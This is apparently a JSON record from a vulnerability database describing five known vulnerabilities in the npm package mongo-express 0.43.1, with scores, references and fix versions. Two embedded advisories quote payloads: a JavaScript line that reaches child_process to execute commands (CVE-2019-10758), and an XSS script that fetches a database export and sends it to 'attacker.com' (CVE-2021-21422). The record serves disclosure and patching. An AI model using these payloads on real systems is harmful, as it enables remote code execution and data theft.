{"url":"http://public2.vulnerablecode.io/api/packages/439572?format=json","purl":"pkg:npm/mongo-express@0.43.1","type":"npm","namespace":"","name":"mongo-express","version":"0.43.1","qualifiers":{},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":null,"latest_non_vulnerable_version":null,"affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/41830?format=json","vulnerability_id":"VCID-7qg6-xymv-b3fw","summary":"Remote code execution in mongo-express\nmongo-express before 1.0.0 offers support for certain advanced syntax but implements this in an unsafe way. NOTE: this may overlap CVE-2019-10769.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2020-24391","reference_id":"","reference_type":"","scores":[{"value":"0.92863","scoring_system":"epss","scoring_elements":"0.99774","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2020-24391"},{"reference_url":"https://github.com/mongodb-js/query-parser/issues/16","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongodb-js/query-parser/issues/16"},{"reference_url":"https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2020-24391","reference_id":"","reference_type":"","scores":[{"value":"9.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-24391"},{"reference_url":"https://github.com/advisories/GHSA-hxmg-hm46-cf62","reference_id":"GHSA-hxmg-hm46-cf62","reference_type":"","scores":[],"url":"https://github.com/advisories/GHSA-hxmg-hm46-cf62"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/479088?format=json","purl":"pkg:npm/mongo-express@1.0.0-alpha.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-ft3y-nct3-fka1"},{"vulnerability":"VCID-wnrr-gvky-dbck"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mongo-express@1.0.0-alpha.1"}],"aliases":["CVE-2020-24391","GHSA-hxmg-hm46-cf62"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-7qg6-xymv-b3fw"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/47954?format=json","vulnerability_id":"VCID-7xg4-efgp-h7gs","summary":"Remote Code Execution Vulnerability in NPM mongo-express\n### Impact\n\nRemote code execution on the host machine by any authenticated user.\n\n### Proof Of Concept\n\nLaunching mongo-express on a Mac, pasting the following into the \"create index\" field will pop open the Mac calculator:\n\n```javascript\nthis.constructor.constructor(\"return process\")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')\n```\n\n### Patches\nUsers should upgrade to version `0.54.0`\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)\n\n#### Thanks\n\n@JLLeitschuh for finding and reporting this vulnerability\n\nThis vulnerability has been [exploited](https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758) in the wild.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2019-10758","reference_id":"","reference_type":"","scores":[{"value":"0.94352","scoring_system":"epss","scoring_elements":"0.99961","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2019-10758"},{"reference_url":"https://github.com/mongo-express/mongo-express","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express"},{"reference_url":"https://github.com/mongo-express/mongo-express/blob/ea02b364d43f179f191fc91fb9962efdb0843a8d/lib/bson.js#L60","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express/blob/ea02b364d43f179f191fc91fb9962efdb0843a8d/lib/bson.js#L60"},{"reference_url":"https://github.com/mongo-express/mongo-express/commit/7d365141deadbd38fa961cd835ce68eab5731494","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express/commit/7d365141deadbd38fa961cd835ce68eab5731494"},{"reference_url":"https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2"},{"reference_url":"https://github.com/mongo-express/mongo-express/pull/522","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express/pull/522"},{"reference_url":"https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H"},{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express/security/advisories/GHSA-h47j-hc6x-h3qq"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10758","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2019-10758"},{"reference_url":"https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H"},{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""},{"value":"Attend","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:A/A:N/T:T/P:M/B:A/M:M/D:A/2025-02-07T12:54:06Z/"}],"url":"https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215"},{"reference_url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758","reference_id":"","reference_type":"","scores":[{"value":"9.9","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H"},{"value":"CRITICAL","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2019-10758"},{"reference_url":"https://github.com/advisories/GHSA-h47j-hc6x-h3qq","reference_id":"GHSA-h47j-hc6x-h3qq","reference_type":"","scores":[{"value":"CRITICAL","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-h47j-hc6x-h3qq"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/82979?format=json","purl":"pkg:npm/mongo-express@0.54.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-7qg6-xymv-b3fw"},{"vulnerability":"VCID-ft3y-nct3-fka1"},{"vulnerability":"VCID-wnrr-gvky-dbck"},{"vulnerability":"VCID-z6v5-anfk-n7dw"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mongo-express@0.54.0"}],"aliases":["CVE-2019-10758","GHSA-h47j-hc6x-h3qq"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-7xg4-efgp-h7gs"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/11892?format=json","vulnerability_id":"VCID-ft3y-nct3-fka1","summary":"mongo-express Cross-site Request Forgery vulnerability\nIn mongo-express 1.0.2, /admin allows CSRF, as demonstrated by deletion of a Collection.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2023-52555","reference_id":"","reference_type":"","scores":[{"value":"0.00746","scoring_system":"epss","scoring_elements":"0.73364","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2023-52555"},{"reference_url":"https://github.com/mongo-express/mongo-express","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express"},{"reference_url":"https://github.com/mongo-express/mongo-express/issues/1338","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2024-03-01T15:40:23Z/"}],"url":"https://github.com/mongo-express/mongo-express/issues/1338"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2023-52555","reference_id":"","reference_type":"","scores":[{"value":"6.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-52555"},{"reference_url":"https://github.com/advisories/GHSA-fffg-cwc9-xvj7","reference_id":"GHSA-fffg-cwc9-xvj7","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-fffg-cwc9-xvj7"}],"fixed_packages":[],"aliases":["CVE-2023-52555","GHSA-fffg-cwc9-xvj7"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-ft3y-nct3-fka1"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/41628?format=json","vulnerability_id":"VCID-wnrr-gvky-dbck","summary":"Denial of Service (DoS) in mongo-express\nAll versions of package mongo-express are vulnerable to Denial of Service (DoS) when exporting an empty collection as CSV, due to an unhandled exception, leading to a crash.","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2021-23372","reference_id":"","reference_type":"","scores":[{"value":"0.00306","scoring_system":"epss","scoring_elements":"0.54097","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2021-23372"},{"reference_url":"https://github.com/mongo-express/mongo-express","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23372","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-23372"},{"reference_url":"https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-1085403","reference_id":"","reference_type":"","scores":[{"value":"4.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-1085403"}],"fixed_packages":[],"aliases":["CVE-2021-23372","GHSA-m2r3-8492-vx59"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-wnrr-gvky-dbck"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/44954?format=json","vulnerability_id":"VCID-z6v5-anfk-n7dw","summary":"Cross-site scripting\nTwo kinds of XSS were found:\n\n1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.\n2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.\n\n\n\n### Impact\nAs an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:\n```JSON\n{\"someField\": \"long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>\"  }\n```\nThis will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\\collection are also possible.\n\n### Patches\nUpgrade to  `v1.0.0-alpha.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)\n* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)","references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21422","reference_id":"","reference_type":"","scores":[{"value":"0.01294","scoring_system":"epss","scoring_elements":"0.79992","published_at":"2026-05-29T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2021-21422"},{"reference_url":"https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b"},{"reference_url":"https://github.com/mongo-express/mongo-express/issues/577","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express/issues/577"},{"reference_url":"https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21422","reference_id":"","reference_type":"","scores":[{"value":"8.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21422"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/479088?format=json","purl":"pkg:npm/mongo-express@1.0.0-alpha.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-ft3y-nct3-fka1"},{"vulnerability":"VCID-wnrr-gvky-dbck"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mongo-express@1.0.0-alpha.1"},{"url":"http://public2.vulnerablecode.io/api/packages/78834?format=json","purl":"pkg:npm/mongo-express@1.0.0-alpha.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-ft3y-nct3-fka1"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mongo-express@1.0.0-alpha.4"}],"aliases":["CVE-2021-21422","GHSA-7p8h-86p5-wv3p"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-z6v5-anfk-n7dw"}],"fixing_vulnerabilities":[],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/mongo-express@0.43.1"}